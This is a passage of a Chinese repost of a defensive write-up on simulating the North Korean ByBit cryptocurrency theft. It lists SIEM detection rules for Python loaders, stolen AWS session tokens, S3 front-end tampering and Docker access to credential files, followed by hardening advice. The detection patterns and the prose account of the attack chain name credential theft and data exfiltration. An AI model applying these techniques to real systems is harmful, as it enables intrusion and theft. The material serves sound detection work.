  • Python 加载器脚本 Ret == 3

规则名称:“通过 Python 执行未签名或不受信任的二进制文件”:检测未签名或不受信任的二进制文件何时由 Python 执行,其中可执行文件位于可疑目录中。

规则名称:“通过 Python 执行未签名或不受信任的二进制文件分叉”:检测未签名或不受信任的二进制文件何时由 Python 执行分叉,其中进程参数是用户主目录中文件的路径。

规则名称:“可疑目录中的进程访问云凭证文件”:检测从可疑目录运行的进程何时访问云凭证。

AWS CloudTrail 日志的 SIEM 检测

规则名称:“来自多个地址的 STS 临时 IAM 会话令牌”:检测在短时间内从多个源 IP 地址使用的 AWS IAM 会话令牌(例如 ASIA*),这可能表明对手基础设施的凭证被窃取和重用。

规则名称:“ IAM 尝试使用临时凭证注册虚拟 MFA 设备”:检测使用 AWS 会话令牌调用 CreateVirtualMFADevice 或 EnableMFADevice 的尝试。这可能反映有人试图使用被劫持的短期凭证建立持久访问权限。

规则名称:“通过临时会话令牌对 IAM 的 API 调用”:检测主体使用临时凭证(例如,带有 ASIA* 前缀的会话令牌)对 iam.amazonaws.com 敏感 API 操作的使用情况。这些操作通常需要 MFA,或者只能通过 AWS 控制台或联合用户执行。不支持 CLI 或自动化令牌。

规则名称:“通过 PutObject 上传的 S3 静态站点 JavaScript 文件”:识别 IAM 用户尝试上传或修改 S3 存储桶的 static/js/ 目录中的 JavaScript 文件,这可能表示前端篡改(例如注入恶意代码)

规则名称:“已识别 Kali Linux 指纹的 AWS CLI ”:检测使用 Kali Linux 的系统发出的 AWS API 调用,具体由 user_agent.original 字符串指示。这可能反映攻击者的基础设施或红队工具的未经授权的访问。

规则名称:“ S3 过多或可疑的 GetObject 事件”:检测到同一 IAM 用户或会话在短时间内执行了大量 S3 GetObject 操作。这可能表明有人使用 AWS CLI 命令同步等工具泄露了 S3 数据,尤其针对静态站点文件或前端包。请注意,这是一个搜索查询,应进行相应调整。

Docker 滥用的 SIEM 检测

规则名称:“通过 Docker 访问敏感文件”:检测 Docker 何时访问敏感主机文件(“ssh”、“aws”、“gcloud”、“azure”、“web browser”、“加密钱包文件”)。

规则名称:“通过 Docker 修改可疑的可执行文件”:检测 Docker 何时在可疑或异常目录中创建或修改可执行文件。

如果您的 macOS 代理策略包含Docker 数据集成,您就可以收集有价值的遥测数据,帮助发现用户系统上的恶意容器活动。在我们的模拟中,此集成使我们能够提取 Docker 日志(并将其导入指标索引),然后我们利用这些日志构建检测规则,该规则能够识别与恶意应用程序相关的入侵指标和可疑容器执行。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

缓解措施

社会工程学

社会工程学在许多入侵事件中扮演着重要角色,尤其是在朝鲜的入侵事件中。他们非常擅长利用 LinkedIn、Telegram、X 或 Discord 等可信公共平台来锁定和接近受害者,并使其看起来合法。他们的许多社会工程学活动试图诱使用户下载并执行某种项目、应用程序或脚本,无论是出于必要(求职)还是出于压力(寻求调试帮助)等。缓解利用社会工程学的攻击行为非常困难,公司需要齐心协力,确保员工定期接受识别这些攻击的培训,并在与外部实体甚至开源社区接触时保持适当的怀疑和谨慎态度。

  • 用户意识培训

  • 手动静态代码审查

  • 静态代码和依赖关系扫描

Bandit(GitHub - PyCQA/bandit:Bandit 是一种用于查找 Python 代码中常见安全问题的工具。)是一个很好的开源工具示例,开发人员可以使用它来扫描 Python 应用程序及其脚本(在执行之前),以发现代码中可能存在的常见 Python 安全漏洞或危险问题。

Bit ByBit——模拟朝鲜最大的加密货币盗窃案

应用程序和设备管理

通过设备管理解决方案或二进制授权框架(例如开源工具 Santa(GitHub - northpolesec/santa:适用于 macOS 的二进制和文件访问授权系统))进行的应用程序控制,可以用来强制执行公证并阻止来自可疑路径的执行。这可以阻止执行被投放到系统中以保持持久性的 Poseidon 有效载荷,并可能阻止对敏感文件的访问。

增强数据/扩展数据

为了有效防御民族国家威胁以及针对 macOS 的众多其他攻击,部署一套 EDR 解决方案至关重要,该解决方案应提供丰富的遥测和关联功能,以检测和阻止基于脚本的攻击。更进一步,像 Elastic 这样的 EDR 平台允许您将 AWS 日志与终端数据一起提取,从而通过单一管理平台实现统一的警报和可视性。结合 AI 驱动的关联功能,这种方法可以揭示连贯的攻击叙事,显著加快响应速度,并提高您在发生此类攻击时快速采取行动的能力。

AWS 凭证暴露和会话令牌强化

在此次攻击中,攻击者利用了窃取的 AWS 用户会话令牌(前缀为 ASIA*),该令牌是通过 GetSessionToken API 使用 MFA 签发的。这些凭证很可能是从 macOS 开发者环境中检索到的——可能是从导出的环境变量或默认的 AWS 配置路径(例如~/.aws/credentials)。

为了缓解此类访问,组织可以实施以下防御策略:

  1. 缩短会话令牌有效期并远离 IAM 用户:避免向 IAM 用户发放长效会话令牌。相反,应强制使用较短的令牌有效期(例如,1 小时或更短),并对所有人类用户采用 AWS SSO(IAM 身份中心)。这使得会话令牌具有短暂性、可审计性,并与身份联合绑定。完全禁用 IAM 用户的 sts:GetSessionToken 权限是最有效的方法,IAM 身份中心支持这种转变。

  2. 强制执行 IAM API 使用会话上下文限制:实施 IAM 策略条件块,如果请求使用临时凭证发出,则明确拒绝敏感的 IAM 操作,例如iam:CreateVirtualMFADevice或iam:AttachUserPolicy。这可确保基于会话的密钥(例如攻击中使用的密钥)无法提升权限或修改身份构造。

  3. 将 MFA 注册限制在可信路径:阻止通过会话令牌创建 MFA 设备(CreateVirtualMFADevice、EnableMFADevice),除非来自可信网络、设备或 IAM 角色。使用aws:SessionToken或aws:ViaAWSService作为策略上下文键来强制执行此操作。这可以阻止攻击者利用劫持的会话尝试基于 MFA 的持久性。

S3 应用层强化(前端篡改)

在获取 AWS 会话令牌后,攻击者并未执行任何 IAM 枚举,而是迅速转向 S3 操作。他们使用 AWS CLI 和临时凭证,列出了 S3 存储桶,并修改了托管在公共 S3 存储桶上的静态前端 JavaScript。这使得他们能够将生产环境中的 Next.js 软件包替换为恶意变体,该变体旨在根据特定钱包地址重定向交易。

为了防止这种类型的前端篡改,请实施以下强化策略:

  1. 使用 S3 对象锁定强制执行不变性:在托管静态前端内容的存储桶上以合规或治理模式启用 S3 对象锁定。这可以防止文件在定义的保留期内被覆盖或删除,即使是被入侵的用户也是如此。对象锁定增加了强大的不变性保证,非常适合面向公众的应用程序层。仍然可以通过部署角色授予放置新对象(而非覆盖)的权限。

  2. 使用子资源完整性 (SRI) 实现内容完整性:在 index.html 中的 <script> 标签中包含 SRI 哈希值(例如 SHA-256),以确保前端仅执行已知且经过验证的 JavaScript 包。在此次攻击中,由于缺乏完整性检查,攻击者可以从 S3 存储桶中提供并执行任意 JavaScript。SRI 可以在浏览器级别阻止此行为。

  3. 使用 CI/CD 部署边界限制上传访问:开发人员永远不应拥有对生产 S3 存储桶的直接写入权限。请为开发和 CI/CD 部署使用单独的 AWS 账户或 IAM 角色。只有经过 OIDC 身份验证的 GitHub Actions 或受信任的 CI 管道才应被允许将前端包上传到生产存储桶。这可确保即使人工凭证被盗用,也不会对生产环境造成影响。

  4. 通过 CloudFront 签名 URL 锁定访问或使用 S3 版本控制:如果前端通过 CloudFront 分发,请使用签名 URL 限制对 S3 的访问,并移除对 S3 源的公共访问。这将添加代理和控制层。或者,启用 S3 版本控制并监控关键资产(例如 /static/js/*.js)的覆盖事件。这有助于检测攻击者试图替换前端文件的行为。

结论

ByBit 攻击是朝鲜威胁行为者发起的最具破坏性的入侵事件之一。得益于详尽的报告和可用的工具,此次攻击也为防御者提供了一个难得的机会,可以端到端地模拟完整的攻击链。通过重现 SAFE 开发人员 macOS 工作站的入侵过程(包括初始访问、有效载荷执行和 AWS 迁移),我们验证了我们针对现实世界中国家间谍活动的检测能力。

这次模拟不仅强调了技术见解(例如如何滥用 PyYAML 反序列化来获取初始访问权限),而且还强化了操作防御方面的关键经验教训:用户意识的价值、基于行为的 EDR 覆盖、安全的开发人员工作流程、有效的云 IAM 策略、云日志记录和跨平台的整体检测/响应。

原文始发于微信公众号(Ots安全):Bit ByBit——模拟朝鲜最大的加密货币盗窃案

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月7日16:10:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bit ByBit——模拟朝鲜最大的加密货币盗窃案https://cn-sec.com/archives/4036895.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息